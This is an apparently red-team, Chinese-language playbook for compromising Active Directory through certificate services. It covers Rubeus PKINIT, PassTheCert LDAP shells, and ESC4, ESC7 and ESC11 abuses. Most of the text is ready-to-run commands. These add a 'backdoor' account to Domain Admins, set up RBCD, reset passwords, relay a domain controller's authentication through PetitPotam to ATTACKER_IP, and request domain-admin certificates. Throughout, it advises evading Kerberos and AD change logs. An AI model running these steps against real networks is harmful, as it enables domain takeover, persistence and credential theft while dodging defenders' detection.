impacket-secretsdump -hashes :NTLM_HASH DOMAIN/administrator@DC_IPRubeus PKINIT (Windows)
# 使用 PFX 文件获取 TGT
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password:CERT_PASS /nowrap
# 使用 Base64 编码证书
Rubeus.exe asktgt /user:administrator /certificate:BASE64_CERT /password:CERT_PASS /ptt
# 输出:
# [*] Using PKINIT with etype rc4_hmac
# [+] TGT request successful!
# [*] base64(ticket.kirbi): doIFuj...---
PassTheCert: 证书直接 LDAP 认证
概述
PassTheCert 使用证书通过 Schannel 直接对 DC 的 LDAPS 服务进行 TLS 客户端认证。完全绕过 Kerberos,不产生 Event 4768 日志。
适用场景
- DC 不支持 PKINIT(报错
KDC_ERR_PADATA_TYPE_NOSUPP) - 需要规避 Kerberos 认证日志
- 需要直接操作 LDAP 对象
从 PFX 提取证书和私钥
# certipy 提取
certipy cert -pfx administrator.pfx -nokey -out user.crt
certipy cert -pfx administrator.pfx -nocert -out user.key
# openssl 提取
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out user.crt
openssl pkcs12 -in administrator.pfx -nocerts -nodes -out user.keycertipy LDAP Shell
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip DC_IP
# LDAP Shell 操作:
add_user backdoor P@ssw0rd # 创建用户
add_user_to_group backdoor "Domain Admins" # 加入 DA
set_rbcd TARGET_HOST EVIL_HOST # 配置 RBCD
get_laps_password TARGET_HOST # 读取 LAPSPassTheCert 工具
# LDAP Shell
python3 passthecert.py -action ldap-shell \
-crt user.crt -key user.key \
-domain DOMAIN -dc-ip DC_IP
# 添加机器账户
python3 passthecert.py -action add-computer \
-crt user.crt -key user.key \
-domain DOMAIN -dc-ip DC_IP \
-computer-name 'EVIL$' -computer-pass 'P@ssw0rd'
# 配置 RBCD(基于资源的约束委派)
python3 passthecert.py -action write-rbcd \
-crt user.crt -key user.key \
-domain DOMAIN -dc-ip DC_IP \
-delegate-to TARGET_HOST -delegate-from 'EVIL$'
# 修改用户密码
python3 passthecert.py -action modify-user \
-crt user.crt -key user.key \
-domain DOMAIN -dc-ip DC_IP \
-target TARGET_USER -new-pass 'NewP@ssw0rd'PKINIT vs PassTheCert 对比
| 特性 | PKINIT | PassTheCert (Schannel) |
|---|---|---|
| 协议 | Kerberos (88/tcp) | LDAPS (636/tcp) |
| 产出 | TGT + NTLM Hash | LDAP Shell / 直接操作 |
| 日志 | Event 4768 | LDAP 审计日志(通常不启用) |
| DC 兼容性 | 需要 PKINIT 支持 | 所有支持 LDAPS 的 DC |
| 横向移动 | 可用 TGT 访问任意服务 | 仅限 LDAP 操作 |
| 隐蔽性 | 中 | 高 |
---
故障排查
| 错误 | 原因 | 解决 |
|---|---|---|
| KDC_ERR_PADATA_TYPE_NOSUPP | DC 不支持 PKINIT | 用 Schannel: certipy auth -pfx x.pfx -ldap-shell |
| KDC_ERR_CLIENT_NOT_TRUSTED | 证书链不受信任 | 检查 CA 证书是否在 NTAuth 中 |
| CERTSRV_E_TEMPLATE_DENIED | 无注册权限 | 换模板或提权后再试 |
| "Certificate not found" | certipy 版本问题 | 更新 certipy: pip install certipy-ad --upgrade |
ADCS 模板 ACL 与高级攻击
ESC4: 模板 ACL 滥用
概述
当低权限用户对证书模板 AD 对象拥有写权限时,可以修改模板配置使其满足 ESC1 条件,然后正常利用 ESC1 获取高权限证书。
漏洞条件
用户对模板对象拥有以下任一权限:
| ACL 权限 | 效果 |
|---|---|
| GenericAll | 完全控制模板对象 |
| GenericWrite | 修改模板任意属性 |
| WriteDACL | 修改模板的 ACL(可给自己添加 FullControl) |
| WriteOwner | 修改模板所有者(成为 Owner 后拥有隐式 FullControl) |
| WriteProperty | 修改模板特定属性 |
步骤 1: 枚举模板 ACL
# certipy 枚举(自动标注 ESC4)
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable -stdout
# 输出中查找:
# [!] Vulnerabilities
# ESC4: 'DOMAIN\\user' has write permissions
# Template Name: VulnerableTemplate
# ...
# Write Owner Principals: DOMAIN\user
# Write Dacl Principals: DOMAIN\user# Windows: Certify 枚举
Certify.exe find /vulnerable
# 输出中查找:
# Permissions
# Object Control Permissions
# WriteOwner Principals: DOMAIN\user
# WriteDacl Principals: DOMAIN\user步骤 2: 备份原始模板配置
# certipy 修改时自动保存备份
certipy template -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-template VulnerableTemplate -save-old
# 输出: VulnerableTemplate.json(原始配置备份)步骤 3: 修改模板为 ESC1 条件
# 使用 certipy 一键修改(设置 ESC1 所需的全部条件)
certipy template -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-template VulnerableTemplate -save-old
# 此命令自动执行:
# 1. 设置 msPKI-Certificate-Name-Flag = ENROLLEE_SUPPLIES_SUBJECT
# 2. 添加 Client Authentication EKU
# 3. 确保当前用户有 Enroll 权限
# 4. 将原始配置保存到 JSON 文件修改后的关键属性变化:
| 属性 | 修改前 | 修改后 |
|---|---|---|
msPKI-Certificate-Name-Flag | 原始值 | 包含 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT |
pkiExtendedKeyUsage | 原始 EKU | 包含 Client Authentication (1.3.6.1.5.5.7.3.2) |
| Enrollment 权限 | 原始权限 | 当前用户可 Enroll |
步骤 4: 利用修改后的模板(按 ESC1 流程)
# 申请域管证书
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template VulnerableTemplate \
-upn administrator@DOMAIN
# 认证
certipy auth -pfx administrator.pfx -dc-ip DC_IP步骤 5: 恢复原始模板配置(清理)
# 使用保存的 JSON 恢复
certipy template -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-template VulnerableTemplate \
-configuration VulnerableTemplate.json
# 验证恢复成功
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -stdout | grep -A 20 "VulnerableTemplate"操作安全: 必须在利用完成后恢复模板配置。模板修改会产生 Event 4662 日志,长时间保持修改状态增加被发现的风险。
---
ESC7: CA 管理员权限滥用
概述
用户拥有 CA 对象上的 ManageCA 或 ManageCertificates 权限时,可以操控 CA 的行为来获取高权限证书。
ManageCA 权限利用
ManageCA 允许修改 CA 配置,可以启用 SubCA 模板或修改 CA 标志:
# 启用 SubCA 模板(如果未启用)
certipy ca -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -enable-template SubCA
# 申请 SubCA 证书(通常会被拒绝 - 这是预期行为)
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template SubCA \
-upn administrator@DOMAIN
# 记录 Request ID(例如: Request ID is 42)ManageCertificates 权限利用
ManageCertificates 允许批准或拒绝待处理的证书请求:
# 用 ManageCertificates 权限批准被拒绝的请求
certipy ca -u MANAGER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -issue-request 42
# 下载已批准的证书
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -retrieve 42
# 认证
certipy auth -pfx administrator.pfx -dc-ip DC_IP组合攻击: ManageCA + ManageCertificates
当同一用户同时拥有两个权限时:
# 1. 将自己添加为 CA Officer(利用 ManageCA)
certipy ca -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -add-officer USER
# 2. 启用 SubCA 模板
certipy ca -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -enable-template SubCA
# 3. 申请证书(会被挂起)
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template SubCA -upn administrator@DOMAIN
# Request ID: 42
# 4. 自己批准自己的请求
certipy ca -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -issue-request 42
# 5. 下载证书
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -retrieve 42
# 6. 认证
certipy auth -pfx administrator.pfx -dc-ip DC_IP---
ESC11: RPC 注册无加密中继
概述
ESC11 类似 ESC8,但目标是 ADCS 的 RPC 注册接口(ICPR)而非 HTTP Web Enrollment。当 CA 未强制 RPC 数据包签名时可被利用。
漏洞条件
- CA 安装了证书注册服务
- RPC 接口未强制数据包签名(
IF_ENFORCEENCRYPTICERTREQUEST未设置) - 有触发 NTLM 认证的方法
检查 RPC 签名配置
# 远程注册表查询(需要管理权限)
netexec smb CA_SERVER -u USER -p PASS \
-x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME" /v InterfaceFlags'
# InterfaceFlags = 0x28 → 未强制加密 → 可利用
# InterfaceFlags = 0x68 → 强制加密 → 不可利用利用步骤
# 1. 启动 ntlmrelayx(目标为 RPC 端点)
ntlmrelayx.py -t "rpc://CA_SERVER" -rpc-mode icpr \
-smb2support --adcs --template DomainController
# 2. 触发域控 NTLM 认证
python3 PetitPotam.py ATTACKER_IP DC_IP
# 3. ntlmrelayx 输出 Base64 证书
# 保存并认证(同 ESC8 后续步骤)
echo "MIIRd..." | base64 -d > dc.pfx
certipy auth -pfx dc.pfx -dc-ip DC_IPESC8 vs ESC11 对比
| 特性 | ESC8 (HTTP) | ESC11 (RPC) |
|---|---|---|
| 目标端口 | 80/443 (HTTP/HTTPS) | 135 + 动态端口 (RPC) |
| 目标路径 | /certsrv/certfnsh.asp | ICPR RPC 接口 |
| 防御标志 | EPA (Extended Protection) | IF_ENFORCEENCRYPTICERTREQUEST |
| 工具参数 | -t http://CA/certsrv/certfnsh.asp | -t rpc://CA -rpc-mode icpr |
| 适用场景 | Web Enrollment 已安装 | Web Enrollment 未安装但 RPC 可达 |
---
模板枚举脚本与工具
certipy 全面枚举
# 枚举所有信息(输出 JSON + TXT)
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP
# 仅列出已启用的模板
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -enabled
# 仅列出有漏洞的模板
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable
# 详细输出到终端
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable -stdout
# 使用 Hash 认证
certipy find -u USER@DOMAIN -hashes :NTLM_HASH -dc-ip DC_IP -vulnerableCertify (Windows)
# 枚举所有 CA
Certify.exe cas
# 枚举所有模板
Certify.exe find
# 查找易受攻击的模板
Certify.exe find /vulnerable
# 指定 CA 枚举
Certify.exe find /ca:CA_SERVER\CA-NAME
# 查找当前用户可注册的模板
Certify.exe find /enrolleeSuppliesSubjectLDAP 手动枚举
# 查询所有证书模板
ldapsearch -H ldap://DC_IP -D "USER@DOMAIN" -w PASS \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
"(objectClass=pKICertificateTemplate)" \
cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage nTSecurityDescriptor
# 查询 CA 服务器
ldapsearch -H ldap://DC_IP -D "USER@DOMAIN" -w PASS \
-b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
"(objectClass=pKIEnrollmentService)" \
cn dNSHostName certificateTemplates枚举输出关键字段速查
| 字段 | 含义 | ESC 关联 |
|---|---|---|
ENROLLEE_SUPPLIES_SUBJECT | 申请者可指定 SAN | ESC1 |
Any Purpose EKU | 证书用于任意目的 | ESC2 |
Certificate Request Agent EKU | 可代理申请 | ESC3 |
| Write 权限 (GenericAll/WriteDACL 等) | 可修改模板 | ESC4 |
EDITF_ATTRIBUTESUBJECTALTNAME2 | CA 全局 SAN | ESC6 |
ManageCA / ManageCertificates | CA 管理权限 | ESC7 |
HTTP /certsrv/ 可达 | Web Enrollment | ESC8 |
CT_FLAG_NO_SECURITY_EXTENSION | 无安全扩展 | ESC9 |
| RPC 注册无加密 | ICPR 中继 | ESC11 |
---
模板修改后恢复 (Cleanup)
为什么必须恢复
- 模板修改会产生 AD 对象变更事件(Event 4662)
- 修改后的模板对所有有 Enroll 权限的用户开放 ESC1
- 蓝队可以通过定期扫描发现异常模板配置
恢复流程
# 方法 1: 使用 certipy 保存的 JSON 恢复
certipy template -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-template VulnerableTemplate \
-configuration VulnerableTemplate.json
# 方法 2: 手动 LDAP 修改(如果没有 JSON 备份)
python3 -c "
import ldap3
server = ldap3.Server('DC_IP', get_info=ldap3.ALL)
conn = ldap3.Connection(server, 'USER@DOMAIN', 'PASS', auto_bind=True)
conn.modify(
'CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com',
{
'msPKI-Certificate-Name-Flag': [(ldap3.MODIFY_REPLACE, [0])],
}
)
print(conn.result)
"验证恢复
# 确认模板不再标记为 ESC1/ESC4
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable -stdout | grep -A 5 "VulnerableTemplate"
# 确认 ENROLLEE_SUPPLIES_SUBJECT 已移除
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -stdout | grep -B 2 -A 10 "VulnerableTemplate"
# 不应出现 "Enrollee Supplies Subject: True"清理检查清单
- [ ] 恢复模板
msPKI-Certificate-Name-Flag原始值 - [ ] 恢复模板
pkiExtendedKeyUsage原始 EKU - [ ] 恢复模板 ACL(如果修改过权限)
- [ ] 确认 certipy find 不再报告该模板为 vulnerable
- [ ] 记录攻击时间窗口用于报告